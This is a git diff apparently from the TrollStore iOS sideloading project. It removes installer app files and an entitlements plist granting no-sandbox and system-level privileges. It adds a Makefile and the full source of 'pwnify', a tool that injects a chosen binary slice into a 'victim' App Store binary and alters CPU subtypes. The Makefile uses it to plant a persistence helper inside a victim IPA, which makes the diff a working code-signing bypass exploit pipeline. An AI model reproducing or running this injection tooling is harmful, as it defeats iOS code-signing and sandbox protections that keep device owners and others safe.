<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>TrollInstaller2</string>
<key>CFBundleIcons</key>
<dict>
<key>CFBundlePrimaryIcon</key>
<dict>
<key>CFBundleIconFiles</key>
<array>
<string>AppIcon29x29</string>
<string>AppIcon40x40</string>
<string>AppIcon57x57</string>
<string>AppIcon60x60</string>
</array>
<key>UIPrerenderedIcon</key>
<true/>
</dict>
</dict>
<key>CFBundleIcons~ipad</key>
<dict>
<key>CFBundlePrimaryIcon</key>
<dict>
<key>CFBundleIconFiles</key>
<array>
<string>AppIcon29x29</string>
<string>AppIcon40x40</string>
<string>AppIcon57x57</string>
<string>AppIcon60x60</string>
<string>AppIcon50x50</string>
<string>AppIcon72x72</string>
<string>AppIcon76x76</string>
</array>
<key>UIPrerenderedIcon</key>
<true/>
</dict>
</dict>
<key>CFBundleIdentifier</key>
<string>com.opa334.trollinstaller2</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>iPhoneOS</string>
</array>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>UIDeviceFamily</key>
<array>
<integer>1</integer>
<integer>2</integer>
</array>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UILaunchImageFile</key>
<string>LaunchImage</string>
<key>UILaunchImages</key>
<array>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{320, 480}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-700-568h</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{320, 568}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-Portrait</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{768, 1024}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-Landscape</string>
<key>UILaunchImageOrientation</key>
<string>Landscape</string>
<key>UILaunchImageSize</key>
<string>{768, 1024}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>8.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-800-667h</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{375, 667}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>8.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-800-Portrait-736h</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{414, 736}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>8.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-800-Landscape-736h</string>
<key>UILaunchImageOrientation</key>
<string>Landscape</string>
<key>UILaunchImageSize</key>
<string>{414, 736}</string>
</dict>
</array>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
</dict>
</plist>

View File

@ -1,7 +0,0 @@
#import <UIKit/UIKit.h>
@interface TSI2AppDelegateNoScene : UIResponder <UIApplicationDelegate>
@property (nonatomic, strong) UIWindow *window;
@property (nonatomic, strong) UINavigationController *rootViewController;
@end

View File

@ -1,14 +0,0 @@
#import "TSI2AppDelegateNoScene.h"
#import "TSI2RootViewController.h"
@implementation TSI2AppDelegateNoScene
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
_window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
_rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSI2RootViewController alloc] init]];
_window.rootViewController = _rootViewController;
[_window makeKeyAndVisible];
return YES;
}
@end

View File

@ -1,6 +0,0 @@
#import <UIKit/UIKit.h>
@interface TSI2AppDelegateWithScene : UIResponder <UIApplicationDelegate>
@end

View File

@ -1,7 +0,0 @@
#import "../../Store/TSListControllerShared.h"
@interface TSI2RootViewController : TSListControllerShared
{
NSString* _newerVersion;
}
@end

View File

@ -1,96 +0,0 @@
#import "TSI2RootViewController.h"
#import "../../Helper/Shared.h"
#import "../../Store/TSUtil.h"
@implementation TSI2RootViewController
- (NSMutableArray*)specifiers
{
if(!_specifiers)
{
_specifiers = [NSMutableArray new];
BOOL isInstalled = trollStoreAppPath();
PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
[_specifiers addObject:utilitiesGroupSpecifier];
[utilitiesGroupSpecifier setProperty:@"Based on the Fugu15 install method\nMassive shoutouts to @LinusHenze\n\n© 2022 Lars Fröder (opa334)" forKey:@"footerText"];
if(isInstalled)
{
PSSpecifier* alreadyInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:@"TrollStore already installed"
target:self
set:nil
get:nil
detail:nil
cell:PSStaticTextCell
edit:nil];
alreadyInstalledSpecifier.identifier = @"alreadyInstalled";
[alreadyInstalledSpecifier setProperty:@YES forKey:@"enabled"];
[_specifiers addObject:alreadyInstalledSpecifier];
}
else
{
PSSpecifier* installTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install TrollStore"
target:self
set:nil
get:nil
detail:nil
cell:PSButtonCell
edit:nil];
installTrollStoreSpecifier.identifier = @"installTrollStore";
[installTrollStoreSpecifier setProperty:@YES forKey:@"enabled"];
installTrollStoreSpecifier.buttonAction = @selector(installTrollStorePressed);
[_specifiers addObject:installTrollStoreSpecifier];
}
}
[(UINavigationItem *)self.navigationItem setTitle:@"TrollStore Installer 2"];
return _specifiers;
}
extern NSString* safe_getExecutablePath();
- (void)installTrollStorePressed
{
[self startActivity:@"Installing TrollStore"];
[self downloadTrollStoreAndDo:^(NSString* tmpTarPath)
{
int ret = spawnRoot(safe_getExecutablePath(), @[@"install-trollstore", tmpTarPath], nil, nil);
[[NSFileManager defaultManager] removeItemAtPath:tmpTarPath error:nil];
if(ret == 0)
{
respring();
if([self isTrollStore])
{
exit(0);
}
else
{
dispatch_async(dispatch_get_main_queue(), ^
{
[self stopActivityWithCompletion:^
{
[self reloadSpecifiers];
}];
});
}
}
else
{
dispatch_async(dispatch_get_main_queue(), ^
{
[self stopActivityWithCompletion:^
{
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error installing TrollStore: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
[errorAlert addAction:closeAction];
[self presentViewController:errorAlert animated:YES completion:nil];
}];
});
}
}];
}
@end

View File

@ -1,8 +0,0 @@
Package: com.opa334.trollinstaller2
Name: TrollInstaller2
Version: 2.0.0
Architecture: iphoneos-arm
Description: TrollInstaller v2!
Maintainer: opa334
Author: opa334
Section: Utilities

View File

@ -7,16 +7,12 @@ Files: *
Copyright: 2022 Lars Fröder
License: MIT
Files: Helper/uicache.m
Files: RootHelper/uicache.m
Copyright: Copyright (c) 2019 CoolStar,
Modified work Copyright (c) 2020-2022 Procursus Team <team@procurs.us>
Modified work Copyright (c) 2022 Lars Fröder <opa334@protonmail.com>
License: BSD-4-Clause
Files: Installer/TrollInstaller/exploit
Copyright: Copyright (c) 2022 John Åkerblom,
License: All rights reserved
License: BSD-4-Clause
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions

68
Makefile Normal file
View File

@ -0,0 +1,68 @@
TOPTARGETS := all clean
$(TOPTARGETS): pre-build make_roothelper make_trollstore make_trollhelper make_trollhelper_package assemble_trollstore make_trollhelper_embedded build_installer15 build_installer64e
pre-build:
@rm -rf ./_build 2>/dev/null || true
@mkdir -p ./_build
make_roothelper:
@$(MAKE) -C ./RootHelper FINALPACKAGE=1 $(MAKECMDGOALS)
make_trollstore:
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
make_trollhelper:
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
ifneq ($(MAKECMDGOALS),clean)
make_trollhelper_package:
@$(MAKE) clean -C ./TrollHelper
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS)
@rm ./TrollHelper/Resources/trollstorehelper
make_trollhelper_embedded:
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS)
assemble_trollstore:
@cp cert.p12 ./TrollStore/.theos/obj/TrollStore.app/cert.p12
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper
@export COPYFILE_DISABLE=1
@tar -czvf ./_build/TrollStore.tar -C ./TrollStore/.theos/obj TrollStore.app
build_installer15:
@mkdir -p ./_build/tmp15
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/TrollStorePersistenceHelperToInject
@pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1
@ldid -s -K./Victim/victim_gta.p12 ./_build/TrollStorePersistenceHelperToInject
APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \
APP_NAME=$$(basename $$APP_PATH) ; \
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
echo $$BINARY_NAME ; \
pwnify pwn ./_build/tmp15/Payload/$$APP_NAME/$$BINARY_NAME ./_build/TrollStorePersistenceHelperToInject
@pushd ./_build/tmp15 ; \
zip -vrD ../../_build/TrollHelper_iOS15.ipa * ; \
popd
@rm ./_build/TrollStorePersistenceHelperToInject
@rm -rf ./_build/tmp15
build_installer64e:
@mkdir -p ./_build/tmp64e
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp64e
APP_PATH=$$(find ./_build/tmp64e/Payload -name "*" -depth 1) ; \
APP_NAME=$$(basename $$APP_PATH) ; \
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
echo $$BINARY_NAME ; \
pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper
@pushd ./_build/tmp64e ; \
zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \
popd
@rm -rf ./_build/tmp64e
endif
.PHONY: $(TOPTARGETS) pre-build assemble_trollstore make_trollhelper_package make_trollhelper_embedded build_installer15 build_installer64e

View File

@ -1,17 +0,0 @@
TARGET := iphone:clang:14.5:14.0
INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper
include $(THEOS)/makefiles/common.mk
APPLICATION_NAME = TrollStorePersistenceHelper
TrollStorePersistenceHelper_FILES = $(wildcard *.m) ../Helper/Shared.m ../Store/TSUtil.m ../Store/TSListControllerShared.m
TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences
TrollStorePersistenceHelper_CFLAGS = -fobjc-arc
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist
include $(THEOS_MAKE_PATH)/application.mk
internal-stage::
ldid -S -M -K../_compile/cert.p12 $(THEOS_STAGING_DIR)/Applications/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper

View File

@ -1,7 +0,0 @@
#import "../Store/TSListControllerShared.h"
@interface TSPHRootViewController : TSListControllerShared
{
NSString* _newerVersion;
}
@end

View File

@ -1,41 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>com.opa334.TrollStore</string>
<key>platform-application</key>
<true/>
<key>com.apple.security.exception.files.absolute-path.read-write</key>
<array>
<string>/</string>
</array>
<key>com.apple.private.security.no-sandbox</key>
<true/>
<key>com.apple.private.persona-mgmt</key>
<true/>
<key>com.apple.private.security.system-application</key>
<true/>
<key>com.apple.private.security.container-manager</key>
<true/>
<key>com.apple.private.coreservices.canmaplsdatabase</key>
<true/>
<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
<true/>
<key>com.apple.private.MobileContainerManager.allowed</key>
<true/>
<key>com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled</key>
<true/>
<key>com.apple.private.MobileInstallationHelperService.allowed</key>
<true/>
<key>com.apple.private.uninstall.deletion</key>
<true/>
<key>com.apple.CommCenter.fine-grained</key>
<array>
<string>cellular-plan</string>
<string>data-usage</string>
<string>data-allowed-write</string>
<string>preferences-write</string>
</array>
</dict>
</plist>

View File

@ -1,12 +0,0 @@
#import <Foundation/Foundation.h>
#import "TSPHAppDelegate.h"
#import "../Store/TSUtil.h"
int main(int argc, char *argv[]) {
@autoreleasepool {
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
[mcmBundle load];
chineseWifiFixup();
return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSPHAppDelegate.class));
}
}

9
Pwnify/Makefile Normal file
View File

@ -0,0 +1,9 @@
pwnify:
@clang main.m -fobjc-arc -fmodules -mmacosx-version-min=11.0 -o pwnify
install: pwnify
-@sudo rm /usr/local/bin/pwnify 2>/dev/null || true
@sudo cp ./pwnify /usr/local/bin/pwnify
clean:
@rm ./pwnify 2>/dev/null || true

417
Pwnify/main.m Normal file
View File

@ -0,0 +1,417 @@
//
// main.m
// pwnify-universal
//
// Created by Lars Fröder on 08.10.22.
//
#import <Foundation/Foundation.h>
#import <mach-o/loader.h>
#import <mach-o/fat.h>
#import <sys/stat.h>
#define ALIGN_DEFAULT 0xE
uint32_t roundUp(int numToRound, int multiple)
{
if (multiple == 0)
return numToRound;
int remainder = numToRound % multiple;
if (remainder == 0)
return numToRound;
return numToRound + multiple - remainder;
}
void expandFile(FILE* file, uint32_t size)
{
fseek(file, 0, SEEK_END);
if(ftell(file) >= size) return;
while(ftell(file) != size)
{
char c = 0;
fwrite(&c, 1, 1, file);
}
}
void copyData(FILE* sourceFile, FILE* targetFile, size_t size)
{
for(size_t i = 0; i < size; i++)
{
char b;
fread(&b, 1, 1, sourceFile);
fwrite(&b, 1, 1, targetFile);
}
}
void enumerateArchs(NSString* binaryPath, void (^archEnumBlock)(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop))
{
FILE* machoFile = fopen(binaryPath.UTF8String, "rb");
if(!machoFile) return;
struct mach_header header;
fread(&header,sizeof(header),1,machoFile);
if(header.magic == FAT_MAGIC || header.magic == FAT_CIGAM)
{
fseek(machoFile,0,SEEK_SET);
struct fat_header fatHeader;
fread(&fatHeader,sizeof(fatHeader),1,machoFile);
for(int i = 0; i < OSSwapBigToHostInt32(fatHeader.nfat_arch); i++)
{
uint32_t archFileOffset = sizeof(fatHeader) + sizeof(struct fat_arch) * i;
struct fat_arch fatArch;
fseek(machoFile, archFileOffset,SEEK_SET);
fread(&fatArch,sizeof(fatArch),1,machoFile);
uint32_t sliceFileOffset = OSSwapBigToHostInt32(fatArch.offset);
struct mach_header archHeader;
fseek(machoFile, sliceFileOffset, SEEK_SET);
fread(&archHeader,sizeof(archHeader),1,machoFile);
BOOL stop = NO;
archEnumBlock(&fatArch, archFileOffset, &archHeader, sliceFileOffset, machoFile, &stop);
if(stop) break;
}
}
else if(header.magic == MH_MAGIC_64 || header.magic == MH_CIGAM_64)
{
BOOL stop;
archEnumBlock(NULL, 0, &header, 0, machoFile, &stop);
}
fclose(machoFile);
}
void printArchs(NSString* binaryPath)
{
__block int i = 0;
enumerateArchs(binaryPath, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
if(arch)
{
printf("%d. fatArch type: 0x%X, subtype: 0x%X, align:0x%X, size:0x%X, offset:0x%X\n| ", i, OSSwapBigToHostInt32(arch->cputype), OSSwapBigToHostInt32(arch->cpusubtype), OSSwapBigToHostInt32(arch->align), OSSwapBigToHostInt32(arch->size), OSSwapBigToHostInt32(arch->offset));
}
printf("machHeader type: 0x%X, subtype: 0x%X\n", OSSwapLittleToHostInt32(machHeader->cputype), OSSwapLittleToHostInt32(machHeader->cpusubtype));
i++;
});
}
void pwnify(NSString* appStoreBinary, NSString* binaryToInject, BOOL preferArm64e)
{
NSString* tmpFilePath = [NSTemporaryDirectory() stringByAppendingString:[[NSUUID UUID] UUIDString]];
// Determine amount of slices in output
__block int slicesCount = 1;
enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
slicesCount++;
});
// Allocate FAT data
uint32_t fatDataSize = sizeof(struct fat_header) + slicesCount * sizeof(struct fat_arch);
char* fatData = malloc(fatDataSize);
// Construct new fat header
struct fat_header fatHeader;
fatHeader.magic = OSSwapHostToBigInt32(0xCAFEBABE);
fatHeader.nfat_arch = OSSwapHostToBigInt32(slicesCount);
memcpy(&fatData[0], &fatHeader, sizeof(fatHeader));
uint32_t align = pow(2, ALIGN_DEFAULT);
__block uint32_t curOffset = align;
__block uint32_t curArchIndex = 0;
// Construct new fat arch data
enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
struct fat_arch newArch;
if(arch)
{
newArch.cputype = arch->cputype;
if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C)
{
newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e
}
else
{
newArch.cpusubtype = arch->cpusubtype;
}
newArch.size = arch->size;
}
else
{
newArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype));
if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C)
{
newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e
}
else
{
newArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype));
}
newArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:appStoreBinary error:nil] fileSize]);
}
newArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT);
newArch.offset = OSSwapHostToBigInt32(curOffset);
curOffset += roundUp(OSSwapBigToHostInt32(newArch.size), align);
memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], &newArch, sizeof(newArch));
curArchIndex++;
});
// Determine what slices our injection binary contains
__block BOOL toInjectHasArm64e = NO;
__block BOOL toInjectHasArm64 = NO;
enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
if(arch)
{
if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C)
{
if (!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x2) & 0xFFFFFF))
{
toInjectHasArm64e = YES;
}
else if(!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x1) & 0xFFFFFF))
{
toInjectHasArm64 = YES;
}
}
}
else
{
if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C)
{
if (!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x2) & 0xFFFFFF))
{
toInjectHasArm64e = YES;
}
else if(!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x1) & 0xFFFFFF))
{
toInjectHasArm64 = YES;
}
}
}
});
if(!toInjectHasArm64 && !preferArm64e)
{
printf("ERROR: can't proceed injection because binary to inject has no arm64 slice\n");
return;
}
uint32_t subtypeToUse = 0x1;
if(preferArm64e && toInjectHasArm64e)
{
subtypeToUse = 0x2;
}
enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
struct fat_arch currentArch;
if(arch)
{
currentArch.cputype = arch->cputype;
currentArch.cpusubtype = arch->cpusubtype;
currentArch.size = arch->size;
}
else
{
currentArch.cputype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cputype));
currentArch.cpusubtype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cpusubtype));
currentArch.size = OSSwapHostToBigInt((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]);
}
if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C)
{
if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF))
{
currentArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT);
currentArch.offset = OSSwapHostToBigInt32(curOffset);
curOffset += roundUp(OSSwapBigToHostInt32(currentArch.size), align);
memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], &currentArch, sizeof(currentArch));
curArchIndex++;
*stop = YES;
}
}
});
// FAT Header constructed, now write to file and then write the slices themselves
FILE* tmpFile = fopen(tmpFilePath.UTF8String, "wb");
fwrite(&fatData[0], fatDataSize, 1, tmpFile);
curArchIndex = 0;
enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex];
expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset));
uint32_t offset = 0;
uint32_t size = 0;
if(arch)
{
offset = OSSwapBigToHostInt32(arch->offset);
size = OSSwapBigToHostInt32(arch->size);
}
else
{
size = OSSwapBigToHostInt32(toWriteArch->size);
}
FILE* appStoreBinaryFile = fopen(appStoreBinary.UTF8String, "rb");
fseek(appStoreBinaryFile, offset, SEEK_SET);
copyData(appStoreBinaryFile, tmpFile, size);
fclose(appStoreBinaryFile);
curArchIndex++;
});
struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex];
enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
struct fat_arch currentArch;
if(arch)
{
currentArch.cputype = arch->cputype;
currentArch.cpusubtype = arch->cpusubtype;
currentArch.size = arch->size;
}
else
{
currentArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype));
currentArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype));
currentArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]);
}
if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C)
{
if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF))
{
expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset));
uint32_t offset = 0;
uint32_t size = 0;
if(arch)
{
offset = OSSwapBigToHostInt32(arch->offset);
size = OSSwapBigToHostInt32(arch->size);
}
else
{
size = OSSwapBigToHostInt32(toWriteArch->size);
}
FILE* binaryToInjectFile = fopen(binaryToInject.UTF8String, "rb");
fseek(binaryToInjectFile, offset, SEEK_SET);
copyData(binaryToInjectFile, tmpFile, size);
fclose(binaryToInjectFile);
*stop = YES;
}
}
});
fclose(tmpFile);
chmod(tmpFilePath.UTF8String, 0755);
[[NSFileManager defaultManager] removeItemAtPath:appStoreBinary error:nil];
[[NSFileManager defaultManager] moveItemAtPath:tmpFilePath toPath:appStoreBinary error:nil];
}
void setCPUSubtype(NSString* binaryPath, uint32_t subtype)
{
FILE* binaryFile = fopen(binaryPath.UTF8String, "rb+");
if(!binaryFile)
{
printf("ERROR: File not found\n");
return;
}
enumerateArchs(binaryPath, ^(struct fat_arch *arch, uint32_t archFileOffset, struct mach_header *machHeader, uint32_t sliceFileOffset, FILE *file, BOOL *stop) {
if(arch)
{
if(OSSwapBigToHostInt(arch->cputype) == 0x100000C)
{
if(OSSwapBigToHostInt(arch->cpusubtype) == 0x0)
{
arch->cpusubtype = OSSwapHostToBigInt32(subtype);
fseek(binaryFile, archFileOffset, SEEK_SET);
fwrite(arch, sizeof(struct fat_arch), 1, binaryFile);
}
}
}
if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C)
{
if(OSSwapLittleToHostInt32(machHeader->cpusubtype) == 0x0)
{
machHeader->cpusubtype = OSSwapHostToLittleInt32(subtype);
fseek(binaryFile, sliceFileOffset, SEEK_SET);
fwrite(machHeader, sizeof(struct mach_header), 1, binaryFile);
}
}
});
fclose(binaryFile);
}
void printUsageAndExit(void)
{
printf("Usage:\n\nPrint architectures of a binary:\npwnify print <path/to/binary>\n\nInject target slice into victim binary:\npwnify pwn(64e) <path/to/victim/binary> <path/to/target/binary>\n\nModify cpusubtype of a non FAT binary:\npwnify set-cpusubtype <path/to/binary> <cpusubtype>\n");
exit(0);
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if(argc < 3)
{
printUsageAndExit();
}
NSString* operation = [NSString stringWithUTF8String:argv[1]];
if([operation isEqualToString:@"print"])
{
NSString* binaryToPrint = [NSString stringWithUTF8String:argv[2]];
printArchs(binaryToPrint);
}
else if([operation isEqualToString:@"pwn"])
{
if(argc < 4) printUsageAndExit();
NSString* victimBinary = [NSString stringWithUTF8String:argv[2]];
NSString* targetBinary = [NSString stringWithUTF8String:argv[3]];
pwnify(victimBinary, targetBinary, NO);
}
else if([operation isEqualToString:@"pwn64e"])
{
if(argc < 4) printUsageAndExit();
NSString* victimBinary = [NSString stringWithUTF8String:argv[2]];
NSString* targetBinary = [NSString stringWithUTF8String:argv[3]];
pwnify(victimBinary, targetBinary, YES);
}
else if([operation isEqualToString:@"set-cpusubtype"])
{
if(argc < 4) printUsageAndExit();
NSString* binaryToModify = [NSString stringWithUTF8String:argv[2]];
NSString* subtypeToSet = [NSString stringWithUTF8String:argv[3]];
NSNumberFormatter* f = [[NSNumberFormatter alloc] init];
f.numberStyle = NSNumberFormatterDecimalStyle;
NSNumber* subtypeToSetNum = [f numberFromString:subtypeToSet];
setCPUSubtype(binaryToModify, [subtypeToSetNum unsignedIntValue]);
}
else
{
printUsageAndExit();
}
}
return 0;
}

Some files were not shown because too many files have changed in this diff Show More